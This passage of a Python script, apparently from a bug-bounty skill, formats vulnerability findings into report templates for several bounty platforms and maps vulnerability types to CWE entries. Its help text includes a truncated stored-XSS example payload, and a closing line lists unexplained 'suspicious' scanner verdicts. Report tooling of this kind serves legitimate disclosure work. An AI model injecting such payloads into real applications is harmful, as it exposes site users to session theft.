BUGCROWD_TEMPLATE = """## Summary
{summary}

## Technical Details
**Vulnerable Endpoint:** `{endpoint}`
**Input Vector:** {input_vector}
**Missing Control:** {missing_control}
**Why Exploitable:** {why_exploitable}

## Steps to Reproduce

{steps}

## Proof of Concept

```
{poc}
```

## Impact
- **Attacker capability:** {attacker_achieves}
- **Data exposure:** {data_exposure}
- **Privilege escalation:** {priv_escalation}
- **Business risk:** {business_risk}

## CWE Classification
**{cwe}**
{cwe_reason}

## Remediation
{remediation}

---
*Generated by web2-bug-bounty skill | {date}*
"""

INTIGRITI_TEMPLATE = """### Description
{summary}

*Affected Component:* `{endpoint}`

### Technical Analysis

**How the vulnerability works:**
{how_it_works}

**Why the security control fails:**
{why_control_fails}

**Trust boundary violated:**
{trust_boundary}

### Steps to Reproduce

{steps}

### Proof of Concept

```
{poc}
```

### Impact

**Data exposure / Access escalation:**
{attacker_achieves}

**Attack preconditions:**
{prerequisites}

**Realistic abuse scenario:**
{realistic_scenario}

### Recommendation
{remediation}

---
*web2-bug-bounty | {date}*
"""

YESWEHACK_TEMPLATE = """# Vulnerability Overview
{summary}

# Affected Endpoint / Component
**Endpoint:** `{endpoint}`
**Component:** {component}

# Technical Details

**Root cause:**
{root_cause}

**Exploit mechanism:**
{how_it_works}

**Security assumption broken:**
{trust_boundary}

# Steps to Reproduce

{steps}

# Proof of Concept

```
{poc}
```

# Security Impact

**Confidentiality:** {confidentiality}
**Integrity:** {integrity}
**Availability:** {availability}

**Practical attack scenario:**
{realistic_scenario}

**Worst-case business outcome:**
{worst_case}

# Suggested Fix
{remediation}

---
*web2-bug-bounty | {date}*
"""

# ─── Vulnerability Type Metadata ──────────────────────────────────────────────

VULN_META = {
    "xss": {
        "display": "Cross-Site Scripting (XSS)",
        "cwe": "CWE-79: Improper Neutralization of Input During Web Page Generation",
        "default_cia": "Confidentiality (session tokens), Integrity (page content)",
    },
    "sqli": {
        "display": "SQL Injection",
        "cwe": "CWE-89: Improper Neutralization of Special Elements Used in SQL Command",
        "default_cia": "Confidentiality (database data), Integrity (data modification)",
    },
    "ssrf": {
        "display": "Server-Side Request Forgery (SSRF)",
        "cwe": "CWE-918: Server-Side Request Forgery",
        "default_cia": "Confidentiality (internal service access, cloud credentials)",
    },
    "idor": {
        "display": "Insecure Direct Object Reference (IDOR)",
        "cwe": "CWE-639: Authorization Bypass Through User-Controlled Key",
        "default_cia": "Confidentiality (other users' data), Integrity (unauthorized modification)",
    },
    "auth": {
        "display": "Authentication/Authorization Bypass",
        "cwe": "CWE-287: Improper Authentication",
        "default_cia": "Confidentiality, Integrity (full account compromise)",
    },
    "biz-logic": {
        "display": "Business Logic Vulnerability",
        "cwe": "CWE-840: Business Logic Errors",
        "default_cia": "Integrity (price manipulation, workflow bypass), Financial impact",
    },
    "rce": {
        "display": "Remote Code Execution (RCE)",
        "cwe": "CWE-78: OS Command Injection / CWE-94: Code Injection",
        "default_cia": "Confidentiality, Integrity, Availability (full server compromise)",
    },
    "lfi": {
        "display": "Local File Inclusion (LFI) / Path Traversal",
        "cwe": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory",
        "default_cia": "Confidentiality (file system access, credentials)",
    },
    "open-redirect": {
        "display": "Open Redirect",
        "cwe": "CWE-601: URL Redirection to Untrusted Site",
        "default_cia": "Integrity (trust abuse), potential phishing chain",
    },
    "ssti": {
        "display": "Server-Side Template Injection (SSTI)",
        "cwe": "CWE-94: Improper Control of Generation of Code",
        "default_cia": "Confidentiality, Integrity, Availability (RCE potential)",
    },
    "xxe": {
        "display": "XML External Entity Injection (XXE)",
        "cwe": "CWE-611: Improper Restriction of XML External Entity Reference",
        "default_cia": "Confidentiality (file read, SSRF via XML)",
    },
    "cors": {
        "display": "CORS Misconfiguration",
        "cwe": "CWE-346: Origin Validation Error",
        "default_cia": "Confidentiality (cross-origin credential and data theft)",
    },
    "csrf": {
        "display": "Cross-Site Request Forgery (CSRF)",
        "cwe": "CWE-352: Cross-Site Request Forgery",
        "default_cia": "Integrity (unauthorized state change on behalf of victim)",
    },
    "subdomain-takeover": {
        "display": "Subdomain Takeover",
        "cwe": "CWE-350: Reliance on Reverse DNS Resolution for Security-Critical Action",
        "default_cia": "Integrity (attacker controls content under trusted domain), Confidentiality (cookie theft)",
    },
    "prototype-pollution": {
        "display": "Prototype Pollution",
        "cwe": "CWE-1321: Improperly Controlled Modification of Object Prototype Attributes",
        "default_cia": "Integrity (property injection), potential Confidentiality and RCE via gadget chains",
    },
    "http-smuggling": {
        "display": "HTTP Request Smuggling",
        "cwe": "CWE-444: Inconsistent Interpretation of HTTP Requests",
        "default_cia": "Confidentiality (capture victim requests), Integrity (bypass access controls)",
    },
    "api-graphql": {
        "display": "API / GraphQL Security Issue",
        "cwe": "CWE-285: Improper Authorization",
        "default_cia": "Confidentiality (unauthorized data access), Integrity (unauthorized modification)",
    },
    "nosqli": {
        "display": "NoSQL Injection",
        "cwe": "CWE-943: Improper Neutralization of Special Elements in Data Query Logic",
        "default_cia": "Confidentiality (data extraction), Authentication Bypass (full account compromise)",
    },
}

# ─── Helpers ──────────────────────────────────────────────────────────────────

def load_finding(input_file: str) -> dict:
    """Load finding data from JSON file."""
    path = Path(input_file)
    if not path.exists():
        print(f"Error: Input file not found: {input_file}", file=sys.stderr)
        sys.exit(1)
    try:
        return json.loads(path.read_text(encoding="utf-8"))
    except json.JSONDecodeError as e:
        print(f"Error: Invalid JSON in {input_file}: {e}", file=sys.stderr)
        sys.exit(1)


def interactive_collect() -> dict:
    """Collect finding data interactively from user prompts."""
    print("\n=== Web2 Bug Bounty Report Generator (Interactive Mode) ===\n")
    print("Enter finding details (press Enter to skip optional fields):\n")
    
    data = {}
    
    fields = [
        ("title", "Finding Title (e.g., Stored XSS in Profile Bio)", True),
        ("endpoint", "Vulnerable Endpoint (e.g., POST /api/user/profile)", True),
        ("summary", "Brief Technical Summary", True),
        ("steps", "Steps to Reproduce (one per line, blank line to finish)", True),
        ("poc", "Proof of Concept Payload/Request", True),
        ("root_cause", "Root Cause", True),
        ("remediation", "Remediation", True),
        ("attacker_achieves", "What Attacker Achieves", True),
        ("affected_scope", "Who is Affected", False),
        ("worst_case", "Worst Case Scenario", False),
        ("cia_impact", "CIA Impact (Confidentiality/Integrity/Availability)", False),
        ("input_vector", "Input Vector (parameter/header/field name)", False),
        ("missing_control", "Missing Security Control", False),
        ("data_exposure", "Data Exposed", False),
        ("business_risk", "Business Risk", False),
        ("trust_boundary", "Trust Boundary Violated", False),
        ("realistic_scenario", "Realistic Attack Scenario", False),
        ("component", "Component/Feature Name", False),
        ("prerequisites", "Attack Prerequisites", False),
    ]
    
    for field_name, prompt, required in fields:
        if field_name == "steps":
            print(f"{prompt}:")
            steps_lines = []
            step_num = 1
            while True:
                line = input(f"  Step {step_num}: ").strip()
                if not line:
                    break
                steps_lines.append(f"{step_num}. {line}")
                step_num += 1
            data[field_name] = "\n".join(steps_lines) if steps_lines else "1. [Steps to reproduce]"
        else:
            marker = " *" if required else ""
            value = input(f"{prompt}{marker}: ").strip()
            if value:
                data[field_name] = value
    
    return data


def format_steps(steps_input) -> str:
    """Format steps as numbered markdown list."""
    if isinstance(steps_input, list):
        return "\n".join(f"{i+1}. {step}" for i, step in enumerate(steps_input))
    elif isinstance(steps_input, str):
        # Already formatted or needs numbering
        lines = [l.strip() for l in steps_input.strip().split("\n") if l.strip()]
        formatted = []
        for i, line in enumerate(lines):
            if re.match(r"^\d+\.", line):
                formatted.append(line)
            else:
                formatted.append(f"{i+1}. {line}")
        return "\n".join(formatted)
    return "1. [Steps to reproduce not provided]"


def get_field(data: dict, field: str, default: str = "[Not provided]") -> str:
    """Safely get a field value with a default."""
    return data.get(field, default) or default


# ─── Report Generators ────────────────────────────────────────────────────────

def generate_hackerone(data: dict, vuln_type: str) -> str:
    meta = VULN_META.get(vuln_type, {"display": vuln_type.upper(), "cwe": "", "default_cia": ""})
    import re
    return HACKERONE_TEMPLATE.format(
        vuln_type_display=meta["display"],
        title=get_field(data, "title"),
        summary=get_field(data, "summary"),
        cia_impact=get_field(data, "cia_impact", meta["default_cia"]),
        attacker_achieves=get_field(data, "attacker_achieves"),
        affected_scope=get_field(data, "affected_scope", "All authenticated users"),
        worst_case=get_field(data, "worst_case"),
        steps=format_steps(get_field(data, "steps")),
        poc=get_field(data, "poc"),
        root_cause=get_field(data, "root_cause"),
        remediation=get_field(data, "remediation"),
        date=datetime.now().strftime("%Y-%m-%d"),
    )


def generate_bugcrowd(data: dict, vuln_type: str) -> str:
    meta = VULN_META.get(vuln_type, {"display": vuln_type.upper(), "cwe": "CWE-XXX", "default_cia": ""})
    return BUGCROWD_TEMPLATE.format(
        summary=get_field(data, "summary"),
        endpoint=get_field(data, "endpoint"),
        input_vector=get_field(data, "input_vector", "[User-controlled parameter]"),
        missing_control=get_field(data, "missing_control", "[Missing security control]"),
        why_exploitable=get_field(data, "root_cause"),
        steps=format_steps(get_field(data, "steps")),
        poc=get_field(data, "poc"),
        attacker_achieves=get_field(data, "attacker_achieves"),
        data_exposure=get_field(data, "data_exposure", get_field(data, "attacker_achieves")),
        priv_escalation=get_field(data, "priv_escalation", "N/A"),
        business_risk=get_field(data, "business_risk", get_field(data, "worst_case")),
        cwe=meta["cwe"],
        cwe_reason=f"This vulnerability fits {meta['cwe'].split(':')[0]} because the application " +
                   f"fails to properly control access to {get_field(data, 'endpoint', 'the affected resource')}.",
        remediation=get_field(data, "remediation"),
        date=datetime.now().strftime("%Y-%m-%d"),
    )


def generate_intigriti(data: dict, vuln_type: str) -> str:
    return INTIGRITI_TEMPLATE.format(
        summary=get_field(data, "summary"),
        endpoint=get_field(data, "endpoint"),
        how_it_works=get_field(data, "root_cause"),
        why_control_fails=get_field(data, "missing_control", "[Security control that should prevent this is absent or bypassed]"),
        trust_boundary=get_field(data, "trust_boundary", "[Trust boundary violated in this finding]"),
        steps=format_steps(get_field(data, "steps")),
        poc=get_field(data, "poc"),
        attacker_achieves=get_field(data, "attacker_achieves"),
        prerequisites=get_field(data, "prerequisites", "Standard user account"),
        realistic_scenario=get_field(data, "realistic_scenario", get_field(data, "attacker_achieves")),
        remediation=get_field(data, "remediation"),
        date=datetime.now().strftime("%Y-%m-%d"),
    )


def generate_yeswehack(data: dict, vuln_type: str) -> str:
    cia = get_field(data, "cia_impact", "")
    conf = "Impacted" if "confidentiality" in cia.lower() or "data" in cia.lower() else "Not impacted"
    integ = "Impacted" if "integrity" in cia.lower() or "modif" in cia.lower() else "Not impacted"
    avail = "Impacted" if "availability" in cia.lower() or "dos" in cia.lower() else "Not impacted"
    
    return YESWEHACK_TEMPLATE.format(
        summary=get_field(data, "summary"),
        endpoint=get_field(data, "endpoint"),
        component=get_field(data, "component", "[Affected component]"),
        root_cause=get_field(data, "root_cause"),
        how_it_works=get_field(data, "root_cause"),
        trust_boundary=get_field(data, "trust_boundary", "[Trust boundary violated]"),
        steps=format_steps(get_field(data, "steps")),
        poc=get_field(data, "poc"),
        confidentiality=get_field(data, "confidentiality", conf),
        integrity=get_field(data, "integrity", integ),
        availability=get_field(data, "availability", avail),
        realistic_scenario=get_field(data, "realistic_scenario", get_field(data, "attacker_achieves")),
        worst_case=get_field(data, "worst_case"),
        remediation=get_field(data, "remediation"),
        date=datetime.now().strftime("%Y-%m-%d"),
    )


# ─── Main ─────────────────────────────────────────────────────────────────────

GENERATORS = {
    "hackerone": generate_hackerone,
    "bugcrowd": generate_bugcrowd,
    "intigriti": generate_intigriti,
    "yeswehack": generate_yeswehack,
}

# ─── Main entry point ─────────────────────────────────────────────────────────


def main():
    parser = argparse.ArgumentParser(
        description="Generate a formatted bug bounty report for any major platform.",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Finding JSON format:
  {
    "title": "Stored XSS in Profile Bio",
    "endpoint": "POST /api/user/profile",
    "summary": "The /api/user/profile endpoint...",
    "steps": ["Log in", "Navigate to profile", "Enter payload"],
    "poc": "POST /api/user/profile HTTP/1.1\\n...\\n\\n{\"bio\": \"<script>...\"}",
    "root_cause": "User input is stored without sanitization...",
    "remediation": "Apply HTML encoding before output...",
    "attacker_achieves": "Execute arbitrary JS in victim's browser session",
    "trust_boundary": "User input -> HTML rendering for other users"
  }

Examples:
  python generate_report.py --platform hackerone --vuln-type xss --input finding.json
  python generate_report.py --platform bugcrowd --vuln-type sqli --interactive
  python generate_report.py --platform intigriti --vuln-type idor --input data.json --output report.md
        """
    )
    parser.add_argument("--platform", "-p",
        choices=list(GENERATORS.keys()),
        required=True,
        help="Target bug bounty platform"
    )
    parser.add_argument("--vuln-type", "-t",
        choices=list(VULN_META.keys()),
        required=True,
        help="Vulnerability type"
    )
    parser.add_argument("--input", "-i",
        help="Path to JSON file with finding data"
    )
    parser.add_argument("--interactive", "-I",
        action="store_true",
        help="Collect finding data interactively"
    )
    parser.add_argument("--output", "-o",
        help="Output Markdown file path (default: print to stdout)"
    )
    parser.add_argument("--list-fields",
        action="store_true",
        help="List all supported JSON fields and exit"
    )
    
    args = parser.parse_args()
    
    if args.list_fields:
        print("\nSupported JSON input fields:")
        fields = [
            ("title", "Required", "Short finding title"),
            ("endpoint", "Required", "Vulnerable endpoint (METHOD /path)"),
            ("summary", "Required", "Technical summary paragraph"),
            ("steps", "Required", "List of strings or newline-separated string"),
            ("poc", "Required", "PoC request/payload (raw HTTP or payload string)"),
            ("root_cause", "Required", "Root cause explanation"),
            ("remediation", "Required", "Recommended fix"),
            ("attacker_achieves", "Required", "Concrete attacker capability"),
            ("cia_impact", "Optional", "CIA properties violated"),
            ("affected_scope", "Optional", "Who is affected"),
            ("worst_case", "Optional", "Worst-case scenario"),
            ("input_vector", "Optional", "Parameter/header name"),
            ("missing_control", "Optional", "Security control that is absent"),
            ("data_exposure", "Optional", "Data type exposed"),
            ("priv_escalation", "Optional", "Privilege gained"),
            ("business_risk", "Optional", "Business impact"),
            ("trust_boundary", "Optional", "Trust boundary violated"),
            ("realistic_scenario", "Optional", "Single realistic attack narrative"),
            ("component", "Optional", "Feature/module name"),
            ("prerequisites", "Optional", "Attacker requirements"),
            ("confidentiality", "Optional", "'Impacted' or 'Not impacted'"),
            ("integrity", "Optional", "'Impacted' or 'Not impacted'"),
            ("availability", "Optional", "'Impacted' or 'Not impacted'"),
        ]
        for name, req, desc in fields:
            print(f"  {name:<20} [{req}] {desc}")
        print()
        return
    
    if not args.input and not args.interactive:
        parser.error("--input or --interactive is required")
    
    if args.interactive:
        data = interactive_collect()
    else:
        data = load_finding(args.input)
    
    generator = GENERATORS[args.platform]
    report = generator(data, args.vuln_type)
    
    if args.output:
        Path(args.output).write_text(report, encoding="utf-8")
        print(f"Report saved to: {args.output}")
        print(f"Platform: {args.platform.upper()} | Type: {VULN_META[args.vuln_type]['display']}")
    else:
        print(report)


if __name__ == "__main__":
    main()


Security scan verdicts — ClawScan: suspicious | static analysis: suspicious | VirusTotal: suspicious | SkillSpector:  ()